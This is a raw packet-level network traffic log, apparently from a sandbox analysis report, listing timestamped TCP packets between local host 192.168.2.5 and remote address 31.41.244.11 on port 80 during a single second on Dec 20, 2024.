Dec 20, 2024 13:12:14.014792919 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.014844894 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.014926910 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.014977932 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.015871048 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.015922070 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.016006947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.016064882 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.017019033 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.017072916 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.017216921 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.017267942 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.018132925 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.018183947 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.018311977 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.018362999 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.019556046 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.019608021 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.019778013 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.019826889 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.020503044 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.020554066 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.020626068 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.020677090 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.021505117 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.021558046 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.021594048 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.021644115 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.022639990 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.022690058 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.022773027 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.022825003 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.023746967 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.023797989 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.023881912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.023935080 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.024923086 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.025003910 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.025012970 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.025073051 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.025965929 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.026017904 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.026344061 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.026393890 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.027056932 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.027110100 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.027288914 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.027338982 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.028172970 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.028229952 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.028930902 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.028983116 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.029794931 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.029846907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.030021906 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.030075073 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.030556917 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.030606985 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.030648947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.030704975 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.031714916 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.031764030 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.237466097 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.237485886 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.237571001 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.244003057 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.244169950 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.244242907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.245954037 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.356911898 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.356935024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.356972933 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.356998920 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.363652945 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.363681078 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.363706112 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.363729000 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.476392031 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476413965 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476428032 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476444006 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476458073 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476483107 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476497889 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476500034 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.476514101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476528883 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476543903 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476543903 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.476558924 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476572037 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.476576090 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476592064 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476597071 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.476608038 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476623058 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476639986 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.476675034 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.476883888 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476907015 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476921082 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476929903 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.476948023 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476962090 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476968050 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.476979017 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.476993084 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.477008104 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.477009058 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.477022886 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.477035999 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.477036953 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.477051973 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.477061033 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.477067947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.477082014 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.477082968 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.477099895 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.477129936 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.477163076 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.477893114 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.477907896 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.477921009 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.477936029 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.477941990 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.477951050 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.477965117 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.477977991 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.477979898 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.477996111 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478007078 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.478010893 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478027105 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478030920 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.478041887 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478056908 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478070021 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478071928 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.478121996 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.478549004 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478564978 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478578091 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478591919 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478594065 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.478607893 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478631973 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478638887 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.478647947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478663921 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478677988 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478681087 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.478693962 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478708029 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.478708029 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478724957 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478733063 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.478739977 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478754997 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.478755951 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.478797913 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.479384899 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.479434013 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.479506016 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.479525089 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.479538918 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.479552984 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.479561090 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.479568005 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.479593039 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.479593992 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.479608059 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.479623079 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.479635000 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.479639053 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.479654074 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.479656935 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.479669094 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.479684114 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.479685068 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.479698896 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.479711056 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.479729891 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.479763031 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.480489016 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.480504036 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.480518103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.480531931 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.480531931 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.480556965 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.480560064 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.480573893 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.480587959 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.480597973 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.480603933 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.480618000 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.480619907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.480633020 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.480648041 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.480663061 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.480670929 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.480678082 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.480693102 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.480707884 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.480720997 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.480746031 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.480766058 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.481350899 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.481367111 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.481379986 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.481394053 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.481400967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.481409073 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.481424093 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.481429100 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.481446028 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.481477976 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.481498957 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.481687069 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.481703997 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.481718063 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.481731892 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.481736898 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.481748104 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.481767893 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.481803894 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.481848001 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.481864929 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.481894016 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.481928110 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.482739925 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.482764006 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.482778072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.482791901 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.482794046 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.482810020 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.482815981 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.482825994 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.482841015 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.482841969 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.482855082 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.482872009 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.482888937 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.482918978 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.483541965 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.483556986 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.483571053 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.483584881 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.483591080 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.483689070 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.483705044 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.483716965 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.483719110 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.483735085 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.483738899 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.483750105 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.483764887 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.483778000 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.483783007 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.483793020 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.483807087 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.483822107 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.483829975 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.483854055 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.483875036 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.484508038 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.484523058 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.484538078 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.484553099 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.484560013 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.484569073 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.484589100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.484591961 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.484603882 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.484627008 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.484651089 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.484843969 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.484858990 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.484889984 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.484899998 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.484927893 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.484940052 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.484944105 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.484960079 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.484965086 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.484975100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.484989882 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.484989882 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.485014915 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.485025883 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.485055923 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.485084057 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.485099077 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.485111952 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.485116005 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.485131979 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.485132933 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.485146999 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.485162973 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.485199928 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.485923052 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.485939026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.485951900 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.485965967 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.485969067 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.485980988 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.485996008 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486010075 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486018896 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.486023903 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486038923 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486052036 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486059904 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486059904 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.486073971 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486083984 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.486088991 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486104965 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486119032 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486129999 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.486177921 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.486871958 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486887932 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486901045 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486915112 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486929893 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486939907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.486943960 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486959934 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486969948 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.486975908 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486989975 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.486999989 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.487021923 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.487030029 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.487036943 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.487051010 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.487052917 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.487066031 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.487082005 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.487109900 CET	49831	80	192.168.2.5	31.41.244.11
